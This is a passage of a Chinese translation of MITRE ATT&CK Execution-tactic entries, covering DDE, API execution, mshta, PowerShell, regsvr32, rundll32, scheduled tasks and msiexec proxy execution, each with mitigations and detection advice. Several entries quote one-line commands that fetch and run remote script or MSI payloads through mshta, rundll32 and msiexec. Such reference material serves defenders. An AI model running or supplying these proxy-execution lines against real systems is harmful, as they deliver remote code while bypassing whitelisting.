Windows 动态数据交换(DDE)是一种用于一次性或持续进程间通信（IPC）的客户端-服务器协议。一旦连接被建立，应用可以匿名交换包括字符串、温数据链接(数据项变化时的通知)、热数据链接(数据项变化的副本)以及命令执行请求在内的事务信息。

对象链接与嵌入(OLE)，或者说链接不同文档中数据的能力原本是通过 DDE 实现的。虽说正在被 COM 取代，DDE 可能在 Windows10 和大多数微软 Office 2016 中通过注册表启用。

恶意者可能通过 DDE 执行任何命令，Office 文档可以直接或以嵌入文件的方式被 DDE 命令污染，并被用于通过钓鱼或上网投递可执行程序，避免使用 Visual Basic 应用(VBA)宏。DDE 也可以被黑客用于操作那些被攻陷但无法直接执行命令的机器上。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 应用隔离和沙箱 | 确保受保护的视图已被启用。 |
| 终端行为防护 | 在Windows10上，启用攻击平面削减(ASR)规则以防止DDE攻击以及通过Office程序创建子进程的行为。 |

| | |
|---|---|
| 禁用功能或删除程序 | 可以设置控制微软 Office 安全特性的注册表项以禁用自动执行 DDE/OLE。微软同时创建并默认开启了在 Word 和 Excel 软件中完全禁用 DDE 执行的注册表项。 |
| 软件配置 | 考虑在一些 Office 软件中禁用嵌入文件，比如像 OneNote 那样样不支持保护视图的软件. |

### 检测

在 OLE 和 Office 开放的 XML 文件中扫描‘DDEAUTO’、‘DDE’关键字，这是 DDE 执行的标识。

监控微软 Office 应用程序加载一些通常无关于程序的 DLL 和其它模块。

监控微软 Office 应用程序创建一些不寻常的子进程（如 cmd.exe）

## 2.7 通过 API 接口执行

编号：T1106

技术：执行

平台：Windows

所需权限：用户，管理员，系统

数据源：API 监控，进程监控

是否支持远程：否

贡献者：Stefan Kanthak

版本：1.0

攻击者工具可能直接使用 Windows API 来执行二进制文件。Windows API CreateProcess 等函数将允许程序和脚本使用正确的路径和参数启动其他进程。

其它可调用来执行二进制文件的 Windows API 函数包括：

- CreateProcessA()和 CreateProcessW(),
- CreateProcessAsUserA()和 CreateProcessAsUserW(),
- CreateProcessInternalA()和 CreateProcessInternalW(),
- CreateProcessWithLogonW()和 CreateProcessWithTokenW(),
- LoadLibraryA()和 LoadLibraryW(),
- LoadLibraryExA()和 LoadLibraryExW(),
- LoadModule(),
- LoadPackagedLibrary(),
- WinExec(),
- ShellExecuteA()和 ShellExecuteW(),

- ShellExecuteExA()和 ShellExecuteExW()

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 执行预防 | 在适当的情况下，使用应用白名单工具(如 Windows Defender Application Control，AppLocker 或软件限制策略）来识别并阻止可能通过此技术执行的潜在恶意软件。 |

检测

监控 API 调用可能会生成大量数据。除非在特定情况下，否则可能无法直接用于防御，因为 Windows API 函数（如 CreateProcess）的使用通常都是善意的，难以与恶意行为区分开来。将其他事件与通过 API 监控发现的 API 函数调用行为相关联可为事件提供额外的上下文，这可以帮助确定事件是否因恶意行为而产生。按进程沿袭（按进程 ID）对活动进行关联可能就足够了。

# 2.8 通过模块加载执行

编号：T1129

技术：执行

平台：Windows

所需权限：用户

数据源：API 监控，动态链接库监控，文件监控，进程监控

贡献者：Stefan Kanthak

版本：1.0

可以指示 Windows 模块加载程序从任意本地路径和任意 UNC（通用命名规则）网络路径加载动态链接库。此功能位于 NTDLL.dll 中，是 Windows 原生 API 的一部分。Windows 原生 API 从 Win32 API 的 CreateProcess（），LoadLibrary（）等函数中调用。

模块加载器可以通过以下方式加载动态链接库：

- 在 IMPORT 目录中指定动态链接库路径名（完全限定或相对)；
- **Forward EXPORT** 到其它有指定路径名（完全限定或相对，但没有扩展名）的动态链接库；
- 使用带某目录完全限定或相对路径名的 NTFS 连接或符号链接 program.exe.local，此目录包含 IMPORT 目录中指定的动态链接库或 forward EXPORT；
- 使用内置或外部“应用清单”中的 `<file name="filename.extension" loadFrom="fully-qualified or relative pathname">`。其中，filename 是指 IMPORT 目录中的条目或 forward EXPORT。

攻击者可能会使用此功能在系统上执行任意代码。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 执行预防 | 使用能够防止加载未知动态链接库的应用白名单工具来识别并阻止通过此技术执行的潜在恶意软件。 |

检测

监控动态链接库模块加载可能会生成大量数据。除非在特定情况下，否则可能无法直接用于防御，因为 Windows 模块加载函数的使用通常是善意的，难以与恶意行为区分开来。合法软件可能只需要加载例程，绑定的动态链接库模块或 Windows 系统动态链接库。加载有偏差的话是可疑的。限定动态链接库模块加载到`%SystemRoot%`和`%ProgramFiles%`目录可防止从不安全路径加载模块。

将其他事件与通过 API 监控发现的模块加载行为以及可疑动态链接库写入磁盘的行为相关联将为事件提供额外的上下文，这可以帮助确定事件是否因恶意行为而产生。

# 2.9 客户端执行利用

编号：T1203

技术：执行

平台：Linux，Windows，macOS

系统要求：远程漏洞攻击需要一个可通过网络或其他方法（如鱼叉式钓鱼攻击或网页木马攻陷）远程访问的服务。

数据源：防病毒，系统调用，进程监控

是否支持远程：是

版本：1.0

由于会导致意外行为的不安全编码实践，软件中可能存在漏洞。攻击者可以针对性地利用某些漏洞来达到执行任意代码的目的。对攻击性工具包来说最有利用价值的通常是那些可利用来在远程系统上执行代码的漏洞，因为利用这些漏洞可以访问该系统。用户将期望看到与他们工作中常用应用相关的文件。由于这些文件具有很高的实用性，常用于漏洞攻击研究和开发。

本节描述以下几种利用方式。

### 浏览器利用

Web 浏览器是网页木马攻陷和鱼叉式钓鱼攻击链接的共同目标。攻击者可能会在用户正常浏览网络或遭受鱼叉式钓鱼攻击时入侵端点系统。遭受带链接的鱼叉式钓鱼攻击时，用户被邮件中的链接定向到攻击者控制的、用来利用 web 浏览器的网站。通常，攻击者不需要用户执行什么操作就能达到攻击目的。

### 办公应用利用

针对 Microsoft Office 等常见办公和生产力应用，攻击者也是通过附件、链接、服务的形式来实施鱼叉式钓鱼攻击。攻击者把恶意文件以附件或链接形式直接传送给目标用户，诱使用户下载它们。在这过程中，攻击者需要用户打开文档或文件才能达到攻击目的。

### 常见第三方应用利用

攻击者也可以使用其他常见应用或目标网络中部署的软件应用来实施攻击。企业环境中的常见应用，比如 Adobe Reader 和 Flash，一直是攻击者企图利用来访问系统的目标。软件和漏洞本身的性质可能需要某些漏洞在浏览器中利用，或需要用户打开文件。例如，某些 Flash 漏洞利用已作为对象在 Microsoft Office 文档中传递。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 应用隔离和沙箱 | 可用浏览器沙箱来缓解漏洞攻击的一些影响，但可能会有沙箱逃逸。也可通过其他类型的虚拟化和应用微分区来缓解客户端漏洞攻击的影响。这些系统中仍然可能存在其它漏洞和缺陷等风险。 |
| 漏洞利用防护 | 可用安全应用，比如 WDEG（Windows Defender Exploit Guard）和 EMET（Enhanced Mitigation Experience Toolkit），来查找漏洞攻击行为，从而缓解某些漏洞攻击行为的影响。也可通过控制流完整性检查来识别和阻止软件攻击。许多保护措施依赖于体系结构和目标应用二进制文件的兼容性。 |

### 检测

软件利用检测可能很困难，具体取决于可用的工具。还要在端点系统上查找能表明攻击成功的行为，例如浏览器或 Office 进程的异常行为，包括写入磁盘的可疑文件，通过进程插入来试图掩盖执行的证据，发现的证据，以及表明有其它工具传输到系统的异常网络流量。

## 2.10 图形用户界面

编号: T1061

技术： 执行

平台： Linux, macOS, Windows

所需权限： 普通用户，管理员，系统权限

| |
|---|
| 数据源： 文件监控，进程监控，进程命令行参数，二进制文件的元信息 |
| 支持远程：是 |
| 版本： 1.0 |

用户图形化界面(GUI)是一种常用的与系统交互的方式。

恶意者可能在操作中使用系统的 GUI 界面，通常是通过远程交互式会话，如远程桌面协议而非命令行，来在鼠标双击、Windows 运行命令或其他难以监控的交互中搜索信息和执行文件。

### 缓解

这种攻击技术难以用防护手段缓解，因为它是基于滥用系统的功能特性。

### 检测

检测通过 GUI 执行可能会导致大量的误报。应考虑使用其它因素检测由于滥用服务而导致的恶意者通过远程交互会话而获取系统访问权限。

在远程会话中超出普通行为的未知或不寻常进程创建是有嫌疑的。收集并审计可以表明访问的安全日志，同时在网络中使用合法的凭据做远程访问。

## 2.11 InstallUtil 工具

| |
|---|
| 编号：T1118 |
| 技术：防御逃逸，执行 |
| 平台：Windows |
| 所需权限：用户 |
| 数据源：进程监控，进程命令行参数 |
| 是否支持远程：否 |
| 绕过的防御：进程白名单，数字证书验证 |
| 贡献者：Casey Smith；Travis Smith，Tripwire |
| 版本：1.1 |

命令行实用程序 InstallUtil 可用于通过执行.NET 二进制文件中指定的特定安装程序组件来安装和卸载资源。InstallUtil 位于 Windows 系统上的.NET 目录中：`C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe` and `C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe`。InstallUtil.exe 由 Microsoft 进行数字签名。

攻击者可能会使用 InstallUtil 通过受信任的 Windows 实用程序来代理执行代码。 攻击者还可以用 Installutil 来绕过进程白名单，方法是在二进制文件中使用属性，这些属性执行用属性`[System.ComponentModel.RunInstaller(true)]`修饰的类。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 特性/程序禁用或移除 | 在给定环境中可能不需要 InstallUtil。 |
| 执行预防 | 如果给定的系统或网络不需要 InstallUtil.exe，使用应用白名单来防止攻击者滥用它。 |

检测

通过进程监控来检测和分析 InstallUtil.exe 的执行和参数。将 InstallUtil.exe 的最近调用与已知恰当参数及已加载文件的历史记录进行比较来查看是否有异常和潜藏的攻击活动。在 InstallUtil.exe 调用之前和之后使用的命令参数也可用于确定正在执行的二进制文件的来源和目的。

## 2.12 Launchctl 工具

编号: T1152

技术： 防御逃逸，执行，持久化

平台： macOS

所需权限： User, Administrator

数据源： 文件监控，进程监控，进程命令行参数

支持远程：否

绕过的防护：应用白名单，进程白名单，文件名或文件路径白名单

版本： 1.0

Launchctl 用于控制 macOS 上启动代理和启动服务的加载程序，但是它自身也可执行其它命令或程序。Launchctl 支持在命令行中使用子命令，以交互方式运行甚至直接从标准输入重定向。通过加载或重加载要启动的代理和服务，恶意者可以做系统修改并持久化[1]。通过 Launchctl 执行命令非常简单：`launchctl submit -l-- /Path/to/thing/to/execute "arg" "arg" "arg"`。加载、卸载、或重新加载要启动的代理或服务可能需要提权。

恶意者可以滥用该功能以执行代码，甚至当 launchctl 属于白名单项时通过它执行程序可绕过系统的白名单校验机制。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 用户账户管理 | 禁止用户安装他们自己的启动代理和启动服务，要求他们遵循下发的组策略。 |

检测

Knock Knock 可用于检测 launchctl 安装启动代理或启动服务的驻留程序。另外，每个启动代理或启动服务都有可被监控的 plist 文件位于磁盘上。监控由 launchctl/launchd 启动的非常见或未知进程。

# 2.13 本地作业调度

编号: T1168

技术： 持久化，执行

平台： Linux, macOS

所需权限：管理员，用户, root 用户

数据源：文件监控，进程监控

贡献者：Anastasios Pingios

版本： 1.0

在 Linux 和 macOS 操作系统中，有很多方法支持创建预计划和周期性的后台任务：cron, at 和 launchd，与 Windows 操作系统的计划任务不同，在基于 Linux 操作系统中的任务调度默认无法远程执行，除非结合建立的远程会话使用，比如：安全的 shell（SSH）

cron

安装系统级的 cron 任务可通过修改`/etc/crontab`文件，`/etc/cron.d/`目录或者 cron 后台程序支持的其它位置，安装用户级的 cron 任务可通过使用 crontab 联合特定格式化的 crontab 文件

这些方式允许命令或者脚本以特定的周期性间隔在后台执行，无需用户交互。攻击者可能在系统启动或者时使用任务调度或者预计划的持久化技术，进而来实施部分横向移动执行，获取 root 权限，或者特定账号上下文下运行进程

at

在基于 POSIX 系统中，包括：macOS 和 Linux，at 程序是另一种计划程序或者脚本任务以延迟执行的方式，同样也能达到相同的目的。

### launchd

类似于 Launch 后台或者 Launch 代理技术，每个 launchd 任务通过不同的配置属性列表（plist）来描述，只是有个额外的带有时间属性字典的 StartCalendarInterval 键。这个方式仅能在 macOS 和 OS X 上运行

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 用户账户管理 | 限制用户使用组策略创建启动代理的能力. |

### 检测

在安装新软件或者通过管理功能时可能会创建合法的计划任务。可通过相应工具列举任务详情来监控这些 launched 和 cron 计划任务。可通过监控进程执行结果来查找异常或者位置的应用和行为

## 2.14 LSASS 驱动程序

编号: T1177

技术： 执行，持久化

平台： Windows

所需权限：管理员，系统

数据源： API 监控，动态链接库监控，文件监控，内核驱动，加载的动态链接库，进程监控

支持远程: 否

贡献者: Vincent Le Toux

版本： 1.0

Windows 安全子系统是用来管理和执行计算机或者域相关的安全策略的一套组件。本地安全认证（LSA）是负责本地安全策略和用户鉴权的主要组件。LSA 包含多种关联其它安全方法的动态链接库（DLLs），这些都在 LSA 子系统服务 lsass.exe 进程上下文中执行。

攻击者可能会把 lsass.exe 驱动程序作为目标，用来获取执行或者持久化权限。通过替换或者添加非法驱动程序（如： DLL 测载或者 DLL 搜索排序劫持），攻击者可通过持续的 LSA 操作来触发任意代码执行

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 代码签名 | 在 Windows 8.1 和 Server 2012 R2 版本，通过设置将注册表项 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL` 设置为 `dword:00000001` 来启用 LSA 保护。LSA 保护确保 LSA 插件以及驱动程序只会被经过微软数字签名的软件装载，同时坚持微软安全开发生命周期流程指南。 |
| 凭据访问保护 | 在 Windows 10 和 Server 2016 上，启用 Windows 防御凭据守护，从而让 lsass.exe 运行在没有任何设备驱动程序的隔离虚拟环境中。 |
| 限制库装载 | 设置 `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode`，确保启用安全 DLL 搜索模式，从而减少 lsass.exe 装载恶意代码库的风险。 |

检测

在启用 LSA 保护的情况下，监控事件日志（事件 3033 和 3063）用来发现尝试失败加载 LSA 插件和驱动程序。

利用系统内置的 Autoruns/Autorunsc 工具，检查已经加载的与 LSA 关联的驱动程序

利用系统内置的进程监控工具，来监控 lsass.exe 装载 DLL 操作

## 2.15 Mshta 命令

编号：T1170

技术：防御逃逸，执行

平台：Windows

所需权限：用户

数据源：进程监控，进程命令行参数

是否支持远程：否

绕过的防御：应用白名单，数字证书验证

贡献者：Ricardo Dias；Ye Yint Min Thu Htut，Offensive Security Team，DBS Bank

版本：1.1

Mshta.exe 是一个执行微软 HTA（HTML 应用）的实用程序。HTA 文件扩展名为.hta。HTA 是独立的应用，使用与 Internet Explorer 相同的模型和技术来执行，但在浏览器之外执行。

攻击者可能会使用 mshta.exe 通过受信任的 Windows 实用程序来代理执行恶意.hta 文件和 Javascript 或 VBScript。已知攻击者在最初攻击阶段利用 mshta.exe 来执行代码的几个例子。

Mshta.exe 可通过内联脚本来执行文件：`mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))`

也可以直接从 URL 执行：`mshta http[:]//webserver/payload[.]hta`

Mshta.exe 可绕过不考虑其潜在用途的应用白名单解决方案。由于 mshta.exe 在 Internet Explorer 的安全上下文之外执行，因此它还会绕过浏览器安全设置。

缓解

| **缓解措施** | **说明** |
| --- | --- |
| 特性/程序禁用或移除 | 在给定环境中可能不需要 Mshta.exe，因为其功能与已达到使用寿命的旧版本 Internet Explorer 相关联。 |
| 执行预防 | 如果给定系统或网络不需要 mshta.exe，使用应用白名单来防止攻击者滥用它。 |

检测

通过进程监控来检测和分析 mshta.exe 的执行和参数。查找在命令行中执行原始或混淆脚本的 mshta.exe。将 mshta.exe 的最近调用与已知恰当参数及已执行二进制文件的历史记录进行比较来查看是否有异常和潜藏的攻击活动。在 mshta.exe 调用之前和之后使用的命令参数也可用于确定正在执行的二进制文件的来源和目的。

监控 HTA 文件的使用。在环境中执行不经常使用的 HTA 文件是可疑的。

## 2.16 PowerShell

编号：T1086

技术：执行

平台：Windows

所需权限：用户，管理员

数据源：PowerShell 日志，已加载动态链接库，动态链接库监控，Windows 注册表，文件监控，进程监控，进程命令行参数

是否支持远程：是

贡献者：Praetorian

版本：1.1

PowerShell 是 Windows 操作系统中功能强大的交互式命令行界面和脚本环境。攻击者可以使用 PowerShell 执行许多操作，包括发现信息和执行代码。例如，可用于运行可执行文件的 start-process cmdlet，在本地或远程计算机上运行命令的 invoke-command cmdlet。

PowerShell 还可从 Internet 下载和运行可执行文件，这些可执行文件可以从磁盘执行或从内存执行而无需用到磁盘。

使用 PowerShell 连接到远程系统需要管理员权限。

有许多基于 PowerShell 的攻击性测试工具，包括 Empire，PowerSploit，和 PSAttack。

也可以执行 PowerShell 命令/脚本，而无需通过.NET 框架和 Windows CLI（公共语言界面）公开的 PowerShell 底层 System.Management.Automation 程序集的接口直接调用 powershell.exe 二进制文件。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 代码签名 | 将 PowerShell 执行策略设置为仅执行签名的脚本。 |
| 特性/程序禁用或移除 | 可以在不需要时从系统中删除 PowerShell，但应执行审查以评估对环境的影响，因为它可能用于许多合法目的和管理功能。禁用/限制 WinRM 服务来防止使用 PowerShell 进行远程执行。 |
| 特权账号管理 | 如果需要 PowerShell，请将 PowerShell 执行策略限制为管理员。请注意，有一些方法可以绕过 PowerShell 执行策略，具体取决于环境配置。 |

检测

如果设置了正确的执行策略，攻击者可能会通过注册表或命令行获得管理员或系统访问权限，从而定义自己的执行策略。可以通过查看系统上的策略是否更改来检测是否有恶意 PowerShell 使用。如果环境中本来没有使用 PowerShell，则只需查找 PowerShell 执行就可能检测到恶意活动。

监控 PowerShell 特定程序集（如 System.Management.Automation.dll）关联项的加载和/或执行（尤其是异常进程名称/位置）。

打开 PowerShell 日志功能来提高执行过程中发生内容（适用于.NET 调用）的保真度也是有益的。PowerShell 5.0 引入了增强的日志功能，其中一些功能特性早已在 PowerShell 4.0 中添加。早期版本的 PowerShell 没有很多日志功能。组织可以在数据分析平台中收集 PowerShell 执行细节，以补充其他数据。

## 2.17 Regsvcs/Regasm 命令

编号：T1121

技术：防御逃逸，执行

平台：Windows

所需权限：用户，管理员

数据源：进程监控，进程命令行参数

是否支持远程：否

绕过的防御：进程白名单，数字证书验证

贡献者：Casey Smith

版本：1.1

Windows 命令行实用程序 Regsvcs 和 Regasm 用于注册.NET COM（组件对象模型）程序集。两者都是微软数字签名的。

攻击者可能会使用 Regsvcs 和 Regasm 通过受信任的 Windows 实用程序来代理执行代码。这两个实用程序都可以通过使用二进制文件中的属性，`[ComRegisterFunction]`或`[ComUnregisterFunction]`，来指定应在注册或注销之前分别运行的代码，从而绕过进程白名单。

即使进程在没有足够权限的情况下运行并且执行失败，也将执行具有注册和注销属性的代码。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 特性/程序禁用或移除 | 在给定环境中可能不需要 Regsvcs 和 Regasm。 |
| 执行预防 | 如果给定系统或网络不需要 Regsvcs.exe 和 Regasm.exe，则阻止执行它们，防止攻击者滥用它们。 |

检测

通过进程监控来检测和分析 Regsvcs.exe 和 Regasm.exe 的执行和参数。将 Regsvcs.exe 和 Regasm.exe 的最近调用与已知恰当参数及已执行二进制文件的历史记录进行比较来查看是否有异常和潜藏的攻击活动。在 Regsvcs.exe 或 Regasm.exe 调用之前和之后使用的命令参数也可用于确定正在执行的二进制文件的来源和目的。

## 2.18 Regsvr32 命令

编号：T1117

技术：防御逃逸，执行

平台：Windows

所需权限：用户，管理员

| |
|---|
| 数据源：已加载动态链接库，进程监控，Windows 注册表，进程命令行参数 |
| 是否支持远程：否 |
| 绕过的防御：进程白名单，防病毒，数字证书验证 |
| 贡献者：Casey Smith |
| 版本：1.1 |

命令行程序 Regsvr32.exe 用于在 Windows 系统上注册和注销对象链接及嵌入控件，包括动态链接库（DLL）。Regsvr32.exe 可用于执行任意二进制文件。

攻击者可能会利用此功能代理执行代码，从而避免触发那些可能不会监控 regsvr32.exe 进程执行及其加载模块的安全工具，因为正常操作中使用 regsvr32.exe 的 Windows 会有白名单或误报。Regsvr32.exe 也是微软签名的二进制文件。

Regsvr32.exe 还可用于专门绕过进程白名单，方法是加载 COM 脚本小程序在用户权限下执行动态链接库。由于 regsvr32.exe 具有网络和代理感知功能，可以在调用期间将 URL 作为参数传递到外部 web 服务器上的文件来加载脚本。此方法不对注册表进行任何更改，因为 COM 对象实际上未注册，仅执行。这个技术变种通常称为“Squiblydoo”攻击，已被攻击者用于针对政府的活动中。

攻击者还可能会利用 Regsvr32.exe 来注册 COM 对象以便通过 COM 劫持建立持久性。

缓解

| **缓解措施** | **说明** |
|---|---|
| 漏洞利用防护 | 可使用微软 EMET（增强缓解体验工具包）的 ASR（攻击面减少）功能来阻止 regsvr32.exe 绕过白名单。在适当的情况下，使用应用白名单工具（如 Windows Defender Application Control，AppLocker 或软件限制策略）来识别并阻止通过 regsvr32 功能执行的潜在恶意软件。 |

检测

通过进程监控来检测和分析 regsvr32.exe 的执行和参数。将 regsvr32.exe 的最近调用与已知恰当参数及已加载文件的历史记录进行比较来查看是否有异常和潜藏的攻击活动。在 regsvr32.exe 调用之前和之后使用的命令参数也可用于确定正在加载的脚本或者动态链接库的来源和目的。

## 2.19 Rundll32 命令

| |
|---|
| 编号：T1085 |
| 技术：防御逃逸，执行 |
| 平台：Windows |

所需权限：用户

数据源：文件监控，进程监控，进程命令行参数，二进制文件元数据

是否支持远程：否

绕过的防御：防病毒，应用白名单，数字证书验证

贡献者：Ricardo Dias；Casey Smith

版本：1.1

Rundll32.exe 程序可以调用来执行任意二进制文件。攻击者可能会利用此功能来代理执行代码，从而避免触发那些可能不会监控 rundll32.exe 进程执行的安全工具，因为正常操作中使用 rundll32.exe 的 Windows 会有白名单或误报。

Rundll32.exe 可用于通过未记录的 shell32.dll 函数 `Control_RunDLL` 和 `Control_RunDLLAsUser` 来执行控制面板项目文件（.cpl）。 双击.cpl 文件也会触发 rundll32.exe 执行。

Rundll32 也可用于执行 JavaScript 等脚本。可以使用类似于下面的语法来完成：`rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"` 。这种方法已被恶意软件如 Poweliks 所使用。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 漏洞利用防护 | 可使用微软 EMET（增强缓解体验工具包）的 ASR（攻击面减少）功能来阻止 rundll32.exe 绕过白名单。 |

检测

通过进程监控来检测和分析 rundll32.exe 的执行和参数。将 rundll32.exe 的最近调用与已知恰当参数及已加载动态链接库的历史记录进行比较来查看是否有异常和潜藏的攻击活动。在 rundll32.exe 调用之前和之后使用的命令参数也可用于确定正在加载的动态链接库的来源和目的。

# 2.20 定时任务

编号：T1053

技术：执行，持久化，权限升级

平台：Windows

所需权限：管理员，系统，用户

| |
|---|
| 有效权限：系统，管理员，用户<br>数据源：文件监控，进程监控，进程命令行参数，Windows 事件日志<br>是否支持远程：是<br>CAPEC 编号：CAPEC-557<br>贡献者：Leo Loobeek，@leoloobeek；Travis Smith，Tripwire；Alain Homewood，Insomnia Security<br>版本：1.0 |

诸如 at 和 schtasks 之类的实用程序可与 Windows Task Scheduler 一起使用来调度程序或脚本在某日期和时间执行。只要身份认证通过可以使用 RPC，并且打开了文件和打印机共享功能，就可以在远程系统上调度任务。在远程系统上调度任务通常需要远程系统管理员群组的成员执行。

攻击者可能会通过任务调度在系统启动时或在计划的基础上执行程序以实现持久性，作为横向移动的一部分进行远程执行，获得系统权限，或者在指定账号的上下文下运行进程。

## 缓解

| **缓解措施** | **说明** |
|---|---|
| 审核 | 像 PowerSploit 框架这样的工具包包含 PowerUp 模块，这些模块可用来探索系统中可用于提升权限的计划任务的权限弱点。 |
| 操作系统配置 | 配置计划任务的设置来强制任务在已通过身份认证账号的上下文中运行，而不是允许它们使用系统权限运行。关联的注册表项位于 `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl`。可通过 GPO 来配置设置，路径：计算机配置 > [策略] > Windows 设置 > 安全设置 > 本地策略 > 安全选项：域控制器：允许服务器操作员调度任务。将“允许服务器操作员调度任务”设置为禁用。 |
| 特权账号管理 | 将“增加调度优先级”配置为仅允许管理员群组拥有调度优先级进程的权限。可通过 GPO 配置设置，路径：计算机配置 > [策略] > Windows 设置 > 安全设置 > 本地策略 > 用户权限分配：增加调度优先级。 |
| 用户账号管理 | 限制用户账号权限并调整权限升级向量，以便只有授权的管理员才能在远程系统上创建计划任务。 |

## 检测

通过命令行调用来监控常用实用程序的计划任务创建。可以在安装新软件期间或通过系统管理功能创建合法的计划任务。监控 Windows 10 中 `svchost.exe` 和旧版 Windows 中 Windows 任务计划程序 `taskeng.exe` 的进程执行情况。如果计划任务不用于持久性，则攻击者很可能在操作完成时删除该任务。监控 `%systemroot%\System32\Tasks` 中的 Windows 任

务计划程序仓库来查看是否有与已知软件、补丁周期等不相关的计划任务的更改条目。不应孤立地看待数据和事件，而应将其视为可能导致其他活动的一系列行为中的一部分，例如为命令与控制而建立网络连接，通过发现了解环境的详细信息，以及横向移动。

通过在事件日志服务中启用“Microsoft-Windows-TaskScheduler / Operational”设置的方式来为计划任务的创建和更改配置事件日志功能。然后会在计划任务活动中记录如下事件：

- 事件 106 - 计划任务已注册
- 事件 140 - 计划任务已更新
- 事件 141 - 计划任务已删除

也可使用 Sysinternals Autoruns 等工具来检测是否有旨在获得持久性的系统更改，包括列出当前的计划任务。查找与已知软件、补丁周期等不相关的任务更改。当与历史数据进行比较时，通过计划任务执行的可疑程序可能会显示为以前从未见过的异常进程。

监控可用于创建任务的进程和命令行参数。带内置功能的远程访问工具可以直接与 Windows API 交互，在典型的系统实用程序之外执行这些功能。Windows 系统管理工具（如 Windows Management Instrumentation 和 PowerShell）也可用来创建任务，因此可能还需要配置日志功能来收集适当的数据。

## 2.21 脚本编程

编号：T1064

技术：防御逃逸，执行

平台：Linux，macOS，Windows

所需权限：用户

数据源：进程监控，文件监控，进程命令行参数

绕过的防御：进程白名单，数据执行防护，漏洞利用防护

版本：1.0

攻击者可能会使用脚本来帮助操作并执行多个操作。不使用脚本的话，这些操作需手动执行。脚本编程对于加快操作任务和减少关键资源访问时间非常有用。有些脚本编程语言可通过在 API 级别直接与操作系统交互而不是调用其他程序来绕过进程监控机制。Windows 系统常采用 VBScript 和 PowerShell 脚本编程语言，但也可采用命令行批处理脚本的形式。

脚本可以作为宏嵌入到 Office 文档中，这些宏可以设置为在鱼叉式钓鱼攻击附件及其他类型鱼叉式钓鱼攻击文件打开时执行。恶意嵌入宏和通过客户端执行利用进行软件利用是两种攻击方式。在用后者方式实施攻击时，攻击者依赖于允许的宏或用户将接受并激活的宏。

存在许多流行的攻击框架。这些框架不管是对安全测试人员还是攻击者都使用脚本编程形式。例如：Metasploit、Veil 和 PowerSploit。渗透测试人员常常在漏洞攻击时和攻击后操作中使用这三种框架。它们包含许多可用于规避防御的功能。有些攻击者会使用 PowerShell。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 应用隔离和沙箱 | 配置 Office 安全设置来启用“受保护视图”，在沙箱环境中执行，以及通过组策略阻止宏。也可通过其他类型的虚拟化和应用微分区来缓解攻击的影响。 |
| 特性/程序禁用或移除 | 关闭未使用的功能或限制对脚本引擎（如 VBScript）或脚本化管理框架（如 PowerShell）的访问。 |

检测

脚本编程可能在管理员、开发人员或高级用户系统上很常见，具体取决于作业功能。如果对普通用户限制了脚本编写，那么任何在系统上运行脚本的尝试都将被视为可疑。如果脚本在系统上不常用但已启用，那么由于打补丁或其他管理员功能而超出周期的脚本是可疑的。应尽可能从文件系统中捕获脚本以确定其操作和意图。

脚本可能会在可生成事件的系统上执行操作且效果各有不同，具体取决于所使用的监控类型。监控脚本执行和后续行为所涉及的进程和命令行参数。操作可能与网络和系统信息发现、收集或其他攻击后脚本化行为相关，并可用作返回源脚本的检测指标。

分析可能带恶意宏的 Office 文件附件。执行宏可能会创建可疑的进程树，具体取决于宏的设计目的。Office 进程，如 winword.exe，cmd.exe 生成实例，脚本应用程序（如 wscript.exe 或 powershell.exe）或其他可疑进程可能表示存在恶意活动。

# 2.22 服务执行

编号：T1035

技术：执行

平台：Windows

所需权限：管理员，系统

数据源：Windows 注册表，进程监控，进程命令行参数

是否支持远程：是

版本：1.0

攻击者可能会通过与 Windows 服务交互的方法（例如服务控制管理器）执行二进制文件、命令或脚本。这可以通过创建新服务或修改现有服务来完成。此技术与创建新服务和修改现有服务一起使用来获得服务持久性或权限升级。

### 缓解

| 缓解措施 | Description |
| --- | --- |
| 特权账号管理 | 确保禁止需较高权限级别才能运行的服务由权限级别较低的用户创建或与之交互。 |
| 文件和目录权限限制 | 还要确保具有较低权限级别的用户不能替换或修改高权限级别的服务二进制文件。 |

### 检测

更改服务注册表项和通过命令行调用能用来修改与已知软件、补丁周期等不相干服务的工具是可疑的。如果服务仅用于执行二进制文件或脚本而不用于持久化，则很可能在服务重新启动后不久便将其更改回原来的形式，这样服务就不会像使用管理员工具 PsExec 时那样遭到破坏。

## 2.23 签名二进制代理执行

编号: T1218

技术： 防御逃逸，执行

平台： Windows

所需权限：用户

数据源： 进程监控，进程命令行参数

支持远程：No

绕过的防御：Application whitelisting, Digital Certificate Validation

贡献者：Nishan Maharjan, @loki248; Hans Christoffer Gaardløs; Praetorian

版本： 2.0

可信数字证书签署的二进制文件在 Windows 操作系统执行时，可通过数字签名验证保护。在 Windows 安装过程中，有一些微软签名的二进制文件可用来代理其它文件执行。这个行为可能会被攻击者滥用，通过绕过应用白名单机制和系统签名验证来执行恶意文件。这项技术对那些当前技术列表中未被说明的代理执行方法负责。

### Msiexec.exe

Msiexec.exe 是 Windows Installer 的命令行工具。攻击者可能使用 msiexec.exe 来启动恶意 MSI 文件来执行代码。功能可能使用这种方式来启用本地或者网络可访问的 MSI 文件。Msiexec.exe 也可用来执行 DLLs

- `msiexec.exe /q /i "C:\path\to\file.msi"`

- `msiexec.exe /q /i http[:]//site[.]com/file.msi`
- `msiexec.exe /y "C:\path\to\file.dll"`

### Mavinject.exe

